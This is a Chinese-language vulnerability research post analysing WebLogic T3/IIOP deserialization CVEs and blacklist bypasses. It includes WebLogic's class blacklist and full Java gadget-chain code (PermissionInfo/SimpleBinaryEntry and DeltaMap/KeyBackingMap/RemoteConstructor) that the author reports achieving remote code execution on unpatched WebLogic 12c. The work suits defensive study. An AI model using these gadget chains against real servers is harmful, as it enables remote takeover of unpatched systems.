WebLogic 反序列化漏洞深入分析

深信服千里目發表於2022-09-29

前言

Oracle 官方 2021 年 10 月份釋出的安全更新通告中披露了 WebLogic 元件存在高危漏洞,攻擊者可以在未授權的情況下透過 IIOP、T3 協議對存在漏洞的 WebLogic Server 元件進行攻擊,成功利用該漏洞的攻擊者可以接管 WebLogic Server。

本文將介紹下如何 diff  WebLogic 的補丁,以及在跟蹤補丁的過程中對可能存在的一種繞過黑名單的反序列化手法的介紹。

T3 和 IIOP

以下漏洞均基於 T3 和 IIOP 作為入口觸發,所以需要簡單分析下 T3 和 IIOP 是如何反序列化的,以及 WebLogic 如何進行修復。

T3 的反序列化是基於原生的反序列化實現。

打了補丁之後:

IIOP 的反序列化是由 WebLogic 自身實現的:

在 this.readIndirectingRepositoryId(codebase); 進行黑名單過濾:

CVE-2020-14644 、 CVE-2020-14756 、 CVE-2021-2136 分析

WebLogic 在早期修復 T3 和 IIOP 的反序列化都是採用黑名單的方式修復,黑名單可以是類名,也可以是包名,以下是截止到 202110 的黑名單的列表,想要跟蹤 WebLogic的 CVE,首先要做的就是看補丁把誰拉進黑名單了。

javaorg.apache.commons.collections.functorscom.sun.org.apache.xalan.internal.xsltc.traxjavassistjava.rmi.activationsun.rmi.serverorg.jboss.interceptor.builderorg.jboss.interceptor.readerorg.jboss.interceptor.proxyorg.jboss.interceptor.spi.metadataorg.jboss.interceptor.spi.modelcom.bea.core.repackaged.springframework.aop.aspectjcom.bea.core.repackaged.springframework.aop.aspectj.annotationcom.bea.core.repackaged.springframework.aop.aspectj.autoproxycom.bea.core.repackaged.springframework.beans.factory.supportorg.python.corecom.bea.core.repackaged.aspectj.weaver.tools.cachecom.bea.core.repackaged.aspectj.weaver.toolscom.bea.core.repackaged.aspectj.weaver.reflectcom.bea.core.repackaged.aspectj.weavercom.oracle.wls.shaded.org.apache.xalan.xsltc.traxoracle.eclipselink.coherence.integrated.internal.queryingoracle.eclipselink.coherence.integrated.internal.cacheorg.codehaus.groovy.runtime.ConvertedClosureorg.codehaus.groovy.runtime.ConversionHandlerorg.codehaus.groovy.runtime.MethodClosureorg.springframework.transaction.support.AbstractPlatformTransactionManagerjava.rmi.server.UnicastRemoteObjectjava.rmi.server.RemoteObjectInvocationHandlercom.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManagerjava.rmi.server.RemoteObjectcom.tangosol.coherence.rest.util.extractor.MvelExtractorjava.lang.Runtimeoracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractororg.eclipse.persistence.internal.descriptors.MethodAttributeAccessororg.eclipse.persistence.internal.descriptors.InstanceVariableAttributeAccessororg.apache.commons.fileupload.disk.DiskFileItemorg.jboss.weld.interceptor.builder.MethodReferenceorg.jboss.weld.interceptor.spi.metadata.MethodMetadataoracle.jdbc.pool.OraclePooledConnectioncom.google.common.util.concurrent.AtomicDoubleArraycom.tangosol.internal.util.invokecom.tangosol.internal.util.invoke.lambdacom.tangosol.coherence.rest.util.extractorcom.tangosol.coherence.rest.utilcom.tangosol.util.extractorcom.tangosol.coherence.component.application.consolecom.tangosol.util.extractor.ReflectionExtractorcom.tangosol.internal.util.SimpleBinaryEntrycom.tangosol.util.extractor.ComparisonValueExtractorcom.tangosol.util.extractor.ConditionalExtractorcom.tangosol.util.extractor.ReflectionUpdatercom.tangosol.util.extractor.ScriptValueExtractorcom.tangosol.util.extractor.UniversalExtractorcom.tangosol.util.extractor.UniversalUpdatercom.tangosol.coherence.component.util.daemon.queueProcessor.service.grid.partitionedService.PartitionedCache$Storage$BinaryEntry

WebLogic 修復 CVE-2020-14644 的方式是將com.tangosol.internal.util.invoke.RemoteConstructor 拉入了黑名單,簡單跟蹤下 RemoteConstructor 的反序列化過程,看看是因為什麼原因被拉進黑名單。

發現存在 readResolve 方法,該方法會在反序列化後執行。


CVE-2020-14756分析

WebLogic 修復 CVE-2020-14644 的方式,是將黑名單加進 com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法中。

結合這個資訊,可以肯定是在呼叫這個方法進行反序列化繞過了黑名單,才導致了這次補丁修補。往上追溯,觀察下 WebLogic 的黑名單規則和為啥能夠繞過黑名單。

以IIOP為例子,進入到WebLogic.iiop.IIOPInputStream#read_value(Class clz) 即開始反序列化操作。在進入反序列化操作前,先進入一個switch,進入 readIndirectingRepositoryId 方法。

最終來到 getClassFromID 方法,進入黑名單判斷。

判斷完畢,回到 read_value 方法,進行反序列化操作。

選擇不同的反序列化方法,最終執行 readResolve 方法,重新進入到上述輪迴。

上述比較抽象,想要理解,必須明白反序列化是一個鏈式的操作。比如,你有一個類 A,類裡面有個屬性是類 B,這個時候,在反序列化的過程中,就會先反序列化類 A,之後在填充類 A 的過程中,繼續反序列化類 B,類 B 在反序列化完成後,填充到類 A 中,同時整個過程都在一個流中操作,這個時候,只要還是 ObjectOutStream 的 read_value進行反序列化操作就不能繞過黑名單!

回到 readExternalizableLite 向外擴充,很容易發現繼承ExternalizableLite 介面的都有一個新的反序列化方法readExternal(DataInput in),這個方法傳入的流是DataInput。根據補丁也很容易猜想出這個流反序列化過程都是在 ExternalizableHelper#readExternalizableLite 實現的,現在主要是找到一個 ObjectInput 流轉換到 DataInput的反序列化利用鏈。


找到一個很符合的類com.tangosol.net.security.PermissionInfo,入口是ObjectInput,之後會進入 readCollection 方法。

在 readCollection 方法中隱式轉換成 DaraInput 流,後面傳入 readObject。

在 readObject 方法中進行 ExternalizableHelper 自身實現的反序列化,這樣就突破了黑名單,實現了 RCE。

當然,這樣的修復方式並不徹底,因為他先判斷了流是否是 ObjectInputStream,這就給繞過黑名單給了一個可乘之機,於是誕生了CVE-2021-2136。

CVE-2021-2136分析

照例,從補丁中發現 WebLogic 將com.tangosol.internal.util.SimpleBinaryEntry 類拉進了黑名單,看下這個類是做什麼的。

readExternal 方法中,沒有啥操作,但是他在 getKey 和getValue 中出現了高危操作。

跟進 ExternalizableHelper.fromBinary 一看,便明白這是一個二階反序列化操作。


追蹤 BufferInput 可以發現,他並不繼承 ObjectInputStream,所以從 fromBinary 進行的反序列化繞過了黑名單的限制。

因為最終的利用方法不在 readExternal 方法中,需要構造一條呼叫鏈,同時需要注意SimpleBinaryEntry僅在readExternal 中能獲取 binkey 和 binvalue 的值。

根據 PermissionInfo 到 SimpleBinaryEntry 構造一條通路,最終二階反序列化 RemoteConstructor 類進行 RCE。

String SIGALG = "SHA1withRSA";KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");KeyPair kp = kpg.generateKeyPair();SignedObject so1 = new SignedObject("Hello", kp.getPrivate(), Signature.getInstance(SIGALG));Object o1 = new PermissionInfo();Class cz = o1.getClass();Field f1 = cz.getDeclaredField("m_sServiceName");f1.setAccessible(true);f1.set(o1,"thisisceshi");Field f2 = cz.getDeclaredField("m_signedPermission");f2.setAccessible(true);f2.set(o1,so1);// 第一個類PermissionInfoSubject s1 = new Subject();HashSet hs = new HashSet();Class cz1 = s1.getClass();Field f3 = cz1.getDeclaredField("principals");f3.setAccessible(true);Field f4 = cz1.getDeclaredField("pubCredentials");f4.setAccessible(true);//第二個類SubjectConditionalPutAll cp = new ConditionalPutAll();NullFilter nf = new NullFilter();LiteMap lm = new LiteMap();com.sun.org.apache.xpath.internal.objects.XString x1 = new com.sun.org.apache.xpath.internal.objects.XString("");Binary bb = ExternalizableHelper.toBinary(getRemote());SimpleBinaryEntry sb = new SimpleBinaryEntry(bb,bb);lm.put(sb,"qqqq");lm.put(x1,"wwww");Class cps = cp.getClass();Field cpsf1 = cps.getDeclaredField("m_filter");Field cpsf2 = cps.getDeclaredField("m_map");cpsf1.setAccessible(true);cpsf2.setAccessible(true);cpsf1.set(cp,nf);cpsf2.set(cp,lm);hs.add(cp);f3.set(s1,hs);f4.set(s1,hs);Field f5 = cz.getDeclaredField("m_subject");f5.setAccessible(true);f5.set(o1,s1);return o1;

總結: 一個漸變的過程

根據上述的漏洞分析,可以發現後續漏洞都是構造條件繞過黑名單觸發第一個漏洞,並且從最開始的直接反序列化觸發,到後面開始使用二階反序列化的手段進行利用,好像在進行一種微妙的攻防的對抗,並且從後面2個 CVE 中,發現了繞過黑名單的可能性。

如果能將 ObjectInput 轉化成其他的資料流並且能進行反序列化,那就可能繞過黑名單。

新的開始

查詢 fromBinary 的二階反序列化的點,JD 搜尋整個coherence.jar 包使用了 fromBinary 的類,配合 tabby 進行搜尋,最終發現了一個特點: 繼承com.oracle.common.base.Converter 的類,在實現的convert 方法中,大多數都會使用 fromBinary 方法處理傳入的 Object。

 



回到整個 coherence.jar,繼續一頓猛搜,呼叫了 convert方法的類,最終找到一個適合的類com.tangosol.coherence.transaction.internal.storage.KeyBackingMap。

 


 

接下來,需要找到適合 context。context 需要滿足以下幾個條件:

1、必須是 BackingMapManagerContext 的子類。

2、getValueFromInternalConverter 或者getKeyFromInternalConverter 方法必須是正常並且返回的是 Converter 的子類。

3、需要存在 isKeyOwned 方法。

圍繞上述條件一頓猛搜,最終找到一個適合的類com.tangosol.coherence.component.util.daemon.queueProcessor.service.grid.ReplicatedCache$BackingMapContext。

getConverterFromInternal 方法中,呼叫了 this.getService 方法。檢視這個方法,返回的是一個ReplicatedCache 物件。

檢視 ReplicatedCache 類,可以被反序列化。

構造好了 KeyBackingMap 的反序列化條件,接下來是尋找到達 KeyBackingMap.put 的利用鏈,看到 map.put,就記起了 CC5 的利用鏈。

馬上構造一個利用鏈傳送給 WebLogic,結果很讓人遺憾,C** 不在當前的 ClassLoader。陷入了僵局,重新思考整個利用鏈,發現只卡死在 lazyMap 這個類中,lazyMap 必須要 Transformer 類,導致反序列化時進入黑名單。

只能回到 coherence.jar 包中,繼續搜尋替換 lazyMap 的類。這個類必須滿足以下條件:

1、可反序列化

2、繼承 Map

3、get 方法能呼叫另一個 map 的 put 方法

這個時候,想起了場外援助,聯絡上了李三師傅,師傅給了一條繞過 LazyMap 的類。

復現李三師傅的思路,透過 tabby 工具,果然找到了DeltaMap 類。

構造好新的 gadget,本地測試成功。

傳送給沒打白名單補丁的 WebLogic12c 成功。

使用 IIOP 反序列化失敗 !!

跟蹤失敗的原因,發現在 IIOP 反序列化父類的時候,會進入 OnInit 進行類的初始化,初始化過程出錯就會中斷反序列化過程。


最終的利用鏈

java public static Object getDaMap() throws Exception {        HashMap hm = new HashMap();       HashMap hm1 = new HashMap();       Object ox = getRemote();       Binary b1 = ExternalizableHelper.toBinary(ox);       hm1.put("kk",b1);       DeltaMap dm = new DeltaMap();       Map m1 = (Map)getTkmap();               Field f1 = dm.getClass().getDeclaredField("__m_DeleteMap");        f1.setAccessible(true);               f1.set(dm,hm);               Field f2 = dm.getClass().getDeclaredField("__m_InsertMap");       f2.setAccessible(true);               f2.set(dm,hm);               Field f3 = dm.getClass().getDeclaredField("__m_OriginalMap");       f3.setAccessible(true);               f3.set(dm,hm1);               Field f4 = dm.getClass().getDeclaredField("__m_ReadMap");               f4.setAccessible(true);               f4.set(dm,m1);               Field f5 = dm.getClass().getDeclaredField("__m_RepeatableRead");       f5.setAccessible(true);       f5.set(dm,true);               Field f6 = dm.getClass().getDeclaredField("__m_UpdateMap");       f6.setAccessible(true);               f6.set(dm,hm);               return dm; } public static Object getRemote() {               try{                       ClassIdentity classIdentity = new ClassIdentity(attach.test2.class);           ClassPool cp = ClassPool.getDefault();                       CtClass ctClass = cp.get(attach.test2.class.getName());                       ctClass.replaceClassName(attach.test2.class.getName(), attach.test2.class.getName() + "$" + classIdentity.getVersion());                       ctClass.defrost();                       RemoteConstructor constructor = new RemoteConstructor(                   new ClassDefinition(classIdentity, ctClass.toBytecode()),                                       new Object[]{}                               );                               return constructor;                           }catch (Exception e)                           {                                  e.printStackTrace();                    }                            return null;          }  public static Object getTkmap() throws Exception {                   ClassPool pool = ClassPool.getDefault();                   CtClass ct1 = pool.get("com.tangosol.coherence.transaction.internal.storage.KeyBackingMap");                   ct1.defrost();                   CtConstructor constructor1 = CtNewConstructor.make("public KeyBackingMap(){}", ct1);                   ct1.addConstructor(constructor1);                   CtField ctFieldNew = new CtField(CtClass.longType,"serialVersionUID",ct1);                   ctFieldNew.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL);                   ct1.addField(ctFieldNew,"7477261672381517136");                   Class<?> clazz = ct1.toClass();                   CtClass ct = pool.get("com.tangosol.coherence.component.util.daemon.queueProcessor.Service");                   CtClass oot = pool.get("java.io.ObjectOutputStream");                   CtMethod cc3 = ct.getDeclaredMethod("writeObject",new CtClass[]{oot});                   System.out.println(cc3);                   ct.removeMethod(cc3);                   ct.toClass();                   LocalCache lc = new LocalCache();                   Field fm = lc.getClass().getDeclaredField("__m_ResourceRegistry");                   fm.setAccessible(true);                   fm.set(lc,null);                   Coherence$CacheItem ccat = new Coherence$CacheItem();                   ReplicatedCache d = new ReplicatedCache("ddd",lc,false);                   d._removeAllChildren();                   setFV(d,"__m__Parent",ccat);                   setFV(lc,"__m__Parent",ccat);                   Field f1 = d.getClass().getSuperclass().getSuperclass().getDeclaredField("__m_SerializerMap");                   f1.setAccessible(true);                   f1.set(d,null);                   ReplicatedCache$BackingMapContext rb = new ReplicatedCache$BackingMapContext();                   setFV(rb,"__m__Parent",d);                   KeyBackingMap kb = (KeyBackingMap)clazz.newInstance();                   Class cz11  = kb.getClass();                   Field f11 =  cz11.getDeclaredField("m_context");                   f11.setAccessible(true);                   f11.set(kb,rb);                   Field f21 = cz11.getDeclaredField("m_sTable");                   f21.setAccessible(true);                   f21.set(kb,"tceshi");                   Field f31 = cz11.getDeclaredField("m_sService");                   f31.setAccessible(true);                   f31.set(kb,"yyds");                   return kb;          }  public static Object getMapObject() throws Exception {                   HashMap hm = new HashMap();                   hm.put("dd","ff");                   DeltaMap oo = (DeltaMap)getDaMap();                   TiedMapEntry tiedMapEntry = new TiedMapEntry(oo,"kk");                   BadAttributeValueExpException bve = new BadAttributeValueExpException("cdcd");                   Field fs = bve.getClass().getDeclaredField("val");                   fs.setAccessible(true);                   fs.set(bve,tiedMapEntry);                   return bve;     }public static void main(String[] args) throws Exception {                   Object o1 = getMapObject();}

結語

從復現前人的 CVE 到嘗試挖掘 gadget,斷斷續續大概花了2周到3周的時間,期間學習到了很多反序列化的知識,在理解完這些漏洞後,也就理解了 WebLogic 反序列化漏洞出現較為頻繁的原因。WebLogic 漏洞存在較多的反序列化類和反序列化的途徑,在使用黑名單防禦手段下,攻擊者只要找到新的反序列化觸發點,就能造成新的危害。因此,知己知彼,學習洞悉攻擊者的思路有助於最佳化漏洞修補策略,也能更好的提升防禦水平。


相關文章